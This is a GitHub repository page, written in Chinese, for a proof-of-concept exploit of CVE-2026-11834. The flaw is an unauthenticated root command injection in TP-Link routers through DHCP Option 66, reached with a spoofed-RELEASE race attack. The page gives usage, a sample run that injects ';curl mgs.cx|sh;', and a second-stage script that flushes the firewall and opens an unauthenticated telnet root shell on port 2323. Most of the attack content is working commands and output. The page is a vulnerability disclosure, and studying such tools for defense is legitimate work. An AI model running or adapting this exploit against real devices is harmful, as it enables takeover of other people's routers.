mattgsys/CVE-2026-11834

GitHub: mattgsys/CVE-2026-11834

TP-Link 路由器 DHCP Option 66 未授权远程命令执行漏洞(CVE-2026-11834)的概念验证工具,通过 DHCP 竞态攻击利用固件命令注入缺陷实现 root 级 RCE。

Stars: 0 | Forks: 0

# CVE-2026-11834 (PoC) TP-Link DHCP Option 66 未授权 RCE (CVE-2026-11834) ## 概述 TP-Link 路由器固件在处理 DHCP Option 66("TFTP Server Name")时存在命令注入漏洞 (CWE-78),允许同一网段上的未授权攻击者以 root 身份执行任意命令。当设备在其 WAN 接口上充当 DHCP 客户端时,租约中返回的 Option 66 值会被未经过滤地拼接到 `libcmm.so` 内部的 `tftp` shell 命令中。有五个函数会构建此命令并将其传递给 `util_execSystem()`,后者会调用 `system()`,因此精心构造的 Option 66 值会被作为 shell 输入解析,并以 root 身份执行。 Option 66 的值在设备上会被截断为 16 个字符,因此 payload 采用了一种最小化的获取并执行方式(`;curl |sh;`),通过 HTTP 拉取更大的第二阶段 payload。 攻击者无需控制 DHCP 服务器。此 PoC 会与网段上的合法服务器进行竞争:它伪装成目标设备发送伪造的 DHCP `RELEASE` 以清除其绑定,等待目标重新获取租约,然后在合法服务器回复之前,携带 payload 回复目标广播的 `OFFER`/`ACK`。 此 PoC 已在 TP-Link Archer C20 V6(固件 0.9.1 Build 4.19,欧盟版)上进行了测试。该易受攻击的代码路径在一系列 TP-Link 路由器中共享;在其他型号或固件版本上,内存偏移量、函数地址和行为可能有所不同。 ## 警告 此 PoC 会投递一个 Option 66 payload,该 payload 将在目标设备上以 root 身份执行。示例的第二阶段 payload 会关闭设备防火墙并启动一个 telnet 监听器。请仅对您拥有或获得明确授权测试的硬件运行此操作。 ## 用法 ``` $ sudo python3 cve-2026-11834.py -i -s -S -p '' ``` | 参数 | 描述 | | --------------------- | ----------------------------------------------------------- | | `target_ip` | 目标设备的当前 IP 地址 | | `-i`, `--interface` | 目标所在网段的网络接口 | | `-s`, `--server-ip` | 合法的 DHCP 服务器 IP | | `-S`, `--server-mac` | 合法的 DHCP 服务器 MAC | | `-p`, `--payload` | Option 66 值(<=16 个字符),例如 `;curl |sh;` | | `-t`, `--target-mac` | 目标 MAC(如果省略,则通过 ARP 自动解析) | | `-a`, `--attacker-ip` | 恶意租约中通告的 Server-id(默认为接口 IP) | 运行示例: ``` $ sudo python3 cve-2026-11834.py 10.0.10.110 -i eth0 -s 10.0.10.254 -S 00:f2:8b:99:86:46 -p ';curl mgs.cx|sh;' TP-Link DHCP Option 66 Unauthenticated RCE (CVE-2026-11834) - Race Attack Target IP : 10.0.10.110 Target MAC : 3c:64:cf:7b:69:8b DHCP Server : 10.0.10.254 (00:f2:8b:99:86:46) Attacker IP : 10.0.10.5 Interface : eth0 Payload : ;curl mgs.cx|sh; [*] Sending spoofed DHCP RELEASE for 10.0.10.110 [*] RELEASE sent. Waiting for target to re-acquire lease... [!] Got DHCP REQUEST from 3c:64:cf:7b:69:8b, XID: 0x43edad72 [>] Sending malicious DHCP ACK... [>] ACK sent. Payload delivered. ``` payload 主机提供设备获取并运行的第二阶段 payload。例如: ``` $ cat index.html echo "[*] Execution" iptables -F iptables -P INPUT ACCEPT echo "[*] Firewall rules dropped" telnetd -l /bin/sh -p 2323 -b 0.0.0.0 echo "[*] Telnetd started on port 2323" $ sudo python3 -m http.server 80 ``` ## 链接 - 完整分析报告:https://mattg.systems/posts/cve-2026-11834/ - CVE 记录:https://www.cve.org/cverecord?id=CVE-2026-11834 - TP-Link 安全公告:https://www.tp-link.com/uk/support/faq/5141/
标签:DHCP, Go语言工具, PoC, Python, 无后门, 暴力破解, 编程工具, 路由器安全, 远程代码执行, 逆向工具